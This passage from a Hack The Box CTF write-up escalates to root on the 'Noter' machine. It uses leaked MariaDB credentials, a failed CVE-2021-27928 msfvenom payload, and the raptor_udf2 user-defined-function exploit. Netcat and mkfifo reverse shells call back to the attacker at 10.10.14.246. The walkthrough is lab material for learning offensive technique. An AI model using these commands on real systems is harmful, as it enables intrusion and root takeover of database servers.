-rw-r--r-- 1 ftp_admin ftp_admin 26298 Dec  1  2021 /srv/ftp/ftp_admin/app_backup_1638395546.zip
-rwxr-xr-x 1 root root 44071 Nov 21  2021 /usr/bin/wsrep_sst_mariabackup
[...]

This time the interesting points seem to be very many. It will be a long search. I omit to go too far on all the points analyzed (which are those listed above), but all the suggested exploits did not seem to be really vulnerable, not even on the remaining points I found interesting vulnerabilities. The only points were the two ports open locally which highlighted the mySQL service regarding port 3306 and a possible DNS on port 53. This reminded me of the credentials for the DB found in the source code file.

$ mysql --version
mysql --version
mysql  Ver 15.1 Distrib 10.3.32-MariaDB, for debian-linux-gnu (x86_64) using readline 5.2

Let's go into detail and find out if the credentials found are really valid and deepen the version of mySQL adopted in order to find some good exploits.

$ mysql --user=root --password app
mysql --user=root --password app
Enter password: Nildogg36

Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 1505
Server version: 10.3.32-MariaDB-0ubuntu0.20.04.1 Ubuntu 20.04

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [app]> SHOW VARIABLES LIKE "%version%"; 
SHOW VARIABLES LIKE "%version%";
+-----------------------------------+------------------------------------------+
| Variable_name                     | Value                                    |
+-----------------------------------+------------------------------------------+
| in_predicate_conversion_threshold | 1000                                     |
| innodb_version                    | 10.3.32                                  |
| protocol_version                  | 10                                       |
| slave_type_conversions            |                                          |
| system_versioning_alter_history   | ERROR                                    |
| system_versioning_asof            | DEFAULT                                  |
| version                           | 10.3.32-MariaDB-0ubuntu0.20.04.1         |
| version_comment                   | Ubuntu 20.04                             |
| version_compile_machine           | x86_64                                   |
| version_compile_os                | debian-linux-gnu                         |
| version_malloc_library            | system                                   |
| version_source_revision           | a2f147af35480e27bd599462db59b9b95f71acd9 |
| version_ssl_library               | YaSSL 2.4.4                              |
| wsrep_patch_version               | wsrep_25.24                              |
+-----------------------------------+------------------------------------------+
14 rows in set (0.001 sec)

MariaDB [app]> 

Also mySQL took up a lot of my time and before I discovered the right exploit I went through a series of attempts that didn't bring me anything, but I'm reporting some for the record.

I started by analyzing the specific page of the release used, where at the end the possible CVE of the vulnerabilities are reported.

MariaDB 10.3.32 Release Notes
Status: Stable (GA) | Release Date: 8 Nov 2021

Here I find that the release was released on November 8th, 2021. I then go to the list of available CVEs and identify through a simple intersection, those that by type and time may be of interest to me.

Mariadb Mariadb : CVE security vulnerabilities, versions and detailed reports
Mariadb Mariadb security vulnerabilities, exploits, metasploit modules, vulnerability statistics and list of versions

Following a choice, I focus on CVE-2021-27928, for which I find three repositories on git. Among all I choose the one that seems clearer and more complete to me.

GitHub - Al1ex/CVE-2021-27928: CVE-2021-27928 MariaDB/MySQL-‘wsrep provider’ 命令注入漏洞
CVE-2021-27928 MariaDB/MySQL-‘wsrep provider’ 命令注入漏洞 - GitHub - Al1ex/CVE-2021-27928: CVE-2021-27928 MariaDB/MySQL-‘wsrep provider’ 命令注入漏洞

So I proceed. I prepare everything on my machine to be able to download it from the BOX.

┌──(in7rud3r㉿Mykali)-[~/…/hackthebox/_10.10.11.160 - Noter (lin)/attack/mysql]
└─$ msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.246 LPORT=4445 -f elf-so -o CVE-2021-27928.so
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 74 bytes
Final size of elf-so file: 476 bytes
Saved as: CVE-2021-27928.so

Unfortunately, when I try to carry out the attack I realize that some permissions on the database are missing.

wget http://10.10.14.246:8000/CVE-2021-27928.so
--2022-06-05 09:26:03--  http://10.10.14.246:8000/CVE-2021-27928.so
Connecting to 10.10.14.246:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 476 [application/octet-stream]
Saving to: ‘CVE-2021-27928.so’

CVE-2021-27928.so   100%[===================>]     476  --.-KB/s    in 0s      

2022-06-05 09:26:03 (2.35 MB/s) - ‘CVE-2021-27928.so’ saved [476/476]

$ ls -la
ls -la
total 12
drwxr-xr-x 2 svc svc 4096 Jun  5 09:26 .
drwxr-xr-x 9 svc svc 4096 Jun  5 09:24 ..
-rw-r--r-- 1 svc svc  476 Jun  5 09:26 CVE-2021-27928.so
$ mysql --user=root --password app
mysql --user=root --password app
Enter password: Nildogg36

Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 49
Server version: 10.3.32-MariaDB-0ubuntu0.20.04.1 Ubuntu 20.04

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [app]> SET GLOBAL wsrep_provider="/home/svc/ttt/CVE-2021-27928.so";
SET GLOBAL wsrep_provider="/home/svc/ttt/CVE-2021-27928.so";
ERROR 1238 (HY000): Variable 'wsrep_provider' is a read only variable
MariaDB [app]>

After a lot of work on the database, I retrace my steps to change another file previously used for the first exploit (I'm not very confident, normally in the CTF the steps are quite distinct, but I may now have some permissions with this user that I didn't have before ). The file in question is the one that converts user notes during export, from text to pdf file: misc/md-to-pdf.js.

const { mdToPdf } = require('md-to-pdf');


(async () => {
await mdToPdf({ content: process.argv[2] }, { dest: './misc/attachments/' + process.argv[3] + '.pdf'});
})();

There doesn't seem to be anything particularly evident, I don't find any further exploits besides, so I go back to mysql again and keep looking. Once again, the solution arises when I expand the search, not to the specific version of mySQL, but to approach a more generic search: "privilege escalation MySQL".

Privilege Escalation with MySQL User Defined Functions by Nairuz Abulhul
Functions are a block of queries and statements that take inputs and return values. All popular database systems provide a wide range of built-in functions to perform operations and tasks related to their systems. Sometimes, there

Much like the exploit found earlier, but more generic, I immediately attempt to implement it. So, move on the exploit-db card and download it.

MySQL 4.x/5.0 (Linux) - User-Defined Function (UDF) Dynamic Library (2)
MySQL 4.x/5.0 (Linux) - User-Defined Function (UDF) Dynamic Library (2).. local exploit for Linux platform
┌──(in7rud3r㉿Mykali)-[~/…/hackthebox/_10.10.11.160 - Noter (lin)/attack/mysql]
└─$ wget https://www.exploit-db.com/download/1518
--2022-06-07 21:55:51--  https://www.exploit-db.com/download/1518
Resolving www.exploit-db.com (www.exploit-db.com)... 192.124.249.13
Connecting to www.exploit-db.com (www.exploit-db.com)|192.124.249.13|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3378 (3.3K) [application/txt]
Saving to: ‘1518’

1518                         100%[==============================================>]   3.30K  --.-KB/s    in 0.001s  

2022-06-07 21:55:51 (2.77 MB/s) - ‘1518’ saved [3378/3378]

                                                                                                                    
┌──(in7rud3r㉿Mykali)-[~/…/hackthebox/_10.10.11.160 - Noter (lin)/attack/mysql]
└─$ mv 1518 raptor_udf2.c
                                                                                                                    
┌──(in7rud3r㉿Mykali)-[~/…/hackthebox/_10.10.11.160 - Noter (lin)/attack/mysql]
└─$ gcc -g -c raptor_udf2.c
                                                                                                                    
┌──(in7rud3r㉿Mykali)-[~/…/hackthebox/_10.10.11.160 - Noter (lin)/attack/mysql]
└─$ gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
                                                                                                                    
┌──(in7rud3r㉿Mykali)-[~/…/hackthebox/_10.10.11.160 - Noter (lin)/attack/mysql]
└─$ ls -la
total 56
drwxr-xr-x  2 in7rud3r in7rud3r  4096 Jun  7 21:58 .
drwxr-xr-x 10 in7rud3r in7rud3r  4096 Jun  5 11:02 ..
-rw-r--r--  1 in7rud3r in7rud3r  9381 Jun  5 11:57 40360
-rw-r--r--  1 in7rud3r in7rud3r   476 Jun  5 11:04 CVE-2021-27928.so
-rw-r--r--  1 in7rud3r in7rud3r  3378 Jun  7 21:55 raptor_udf2.c
-rw-r--r--  1 in7rud3r in7rud3r  5128 Jun  7 21:57 raptor_udf2.o
-rwxr-xr-x  1 in7rud3r in7rud3r 17312 Jun  7 21:58 raptor_udf2.so
                                                                                                                    
┌──(in7rud3r㉿Mykali)-[~/…/hackthebox/_10.10.11.160 - Noter (lin)/attack/mysql]
└─$ cp raptor_udf2.so ../exprem 

As before we will have to download the exploit from our machine.

$ wget http://10.10.14.246:8000/raptor_udf2.so
wget http://10.10.14.246:8000/raptor_udf2.so
--2022-06-07 20:03:32--  http://10.10.14.246:8000/raptor_udf2.so
Connecting to 10.10.14.246:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 17312 (17K) [application/octet-stream]
Saving to: ‘raptor_udf2.so’

raptor_udf2.so      100%[===================>]  16.91K  --.-KB/s    in 0.05s   

2022-06-07 20:03:32 (363 KB/s) - ‘raptor_udf2.so’ saved [17312/17312]

And now straight to the goal, the steps to be performed on mySQL are enough.

$ mysql -u root -p
mysql -u root -p
Enter password: Nildogg36

Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 267
Server version: 10.3.32-MariaDB-0ubuntu0.20.04.1 Ubuntu 20.04

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]> use mysql;
use mysql;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MariaDB [mysql]> create table foo(line blob);
create table foo(line blob);
Query OK, 0 rows affected (0.010 sec)

MariaDB [mysql]> insert into foo values(load_file('/tmp/raptor_udf2.so'));
insert into foo values(load_file('/tmp/raptor_udf2.so'));
Query OK, 1 row affected (0.003 sec)

MariaDB [mysql]> select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';
df2.so'; from foo into dumpfile '/usr/lib/mysql/plugin/raptor_u 
ERROR 1 (HY000): Can't create/write to file '/usr/lib/mysql/plugin/raptor_udf2.so' (Errcode: 2 "No such file or directory")
MariaDB [mysql]> select * from foo into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/raptor_udf2.so';
adb19/plugin/raptor_udf2.so';le '/usr/lib/x86_64-linux-gnu/mari 
Query OK, 1 row affected (0.001 sec)

MariaDB [mysql]> create function do_system returns integer soname 'raptor_udf2.so';
o';ate function do_system returns integer soname 'raptor_udf2.s 
Query OK, 0 rows affected (0.001 sec)

MariaDB [mysql]> select * from mysql.func;
select * from mysql.func;
+-----------+-----+----------------+----------+
| name      | ret | dl             | type     |
+-----------+-----+----------------+----------+
| do_system |   2 | raptor_udf2.so | function |
+-----------+-----+----------------+----------+
1 row in set (0.001 sec)

MariaDB [mysql]> select do_system('id > /var/www/output; chown www-data www-data  /var/www/output');
  /var/www/output'); > /var/www/output; chown www-data www-data 
+-----------------------------------------------------------------------------+
| do_system('id > /var/www/output; chown www-data www-data  /var/www/output') |
+-----------------------------------------------------------------------------+
|                                                                           0 |
+-----------------------------------------------------------------------------+
1 row in set (0.004 sec)

MariaDB [mysql]> select do_system('nc 10.10.14.246 4445 -e /bin/bash');
select do_system('nc 10.10.14.246 4445 -e /bin/bash');
ERROR 1305 (42000): FUNCTION mysql.do_system does not exist
MariaDB [mysql]> exit
exit
Bye
$ cat /var/www/output
cat /var/www/output
cat: /var/www/output: No such file or directory

Apparently, the first attempt does not give me good results, but I may have exceeded with the times and some scripts passed just as I finished my actions. Let's try again.

MariaDB [mysql]> create table foo(line blob);
create table foo(line blob);
Query OK, 0 rows affected (0.008 sec)

MariaDB [mysql]> insert into foo values(load_file('/tmp/raptor_udf2.so'));
insert into foo values(load_file('/tmp/raptor_udf2.so'));
Query OK, 1 row affected (0.003 sec)

MariaDB [mysql]> select * from foo into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/raptor_udf2.so';
adb19/plugin/raptor_udf2.so';le '/usr/lib/x86_64-linux-gnu/mari 
Query OK, 1 row affected (0.001 sec)

MariaDB [mysql]> create function do_system returns integer soname 'raptor_udf2.so';
o';ate function do_system returns integer soname 'raptor_udf2.s 
Query OK, 0 rows affected (0.001 sec)

MariaDB [mysql]> select * from mysql.func;
select * from mysql.func;
+-----------+-----+----------------+----------+
| name      | ret | dl             | type     |
+-----------+-----+----------------+----------+
| do_system |   2 | raptor_udf2.so | function |
+-----------+-----+----------------+----------+
1 row in set (0.000 sec)

MariaDB [mysql]> select do_system('nc 10.10.14.246 4445 -e /bin/bash');
select do_system('nc 10.10.14.246 4445 -e /bin/bash');
+------------------------------------------------+
| do_system('nc 10.10.14.246 4445 -e /bin/bash') |
+------------------------------------------------+
|                                              0 |
+------------------------------------------------+
1 row in set (0.003 sec)

Nothing yet, but I have to be sure the exploit works; let's try something simpler, like a curl on my machine.

select do_system('curl http://10.10.14.246:8000/');

The script works, so I probably chose the wrong reverse shell. Trying a few different ones, I can finally find the right one.

select do_system('rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.246 4445 >/tmp/f');

And in the blink of an eye, the root flag is mine too.

┌──(in7rud3r㉿Mykali)-[~/…/hackthebox/_10.10.11.160 - Noter (lin)/attack/mysql]
└─$ nc -lvp 4445             
listening on [any] 4445 ...
connect to [10.10.14.246] from noter.htb [10.10.11.160] 39474
/bin/sh: 0: can't access tty; job control turned off
# whoami
root
# cat /root/root.txt
2******************************5
# 

After a lot of work, we have earned a well-deserved rest. That's all folks, as always, happy hacking!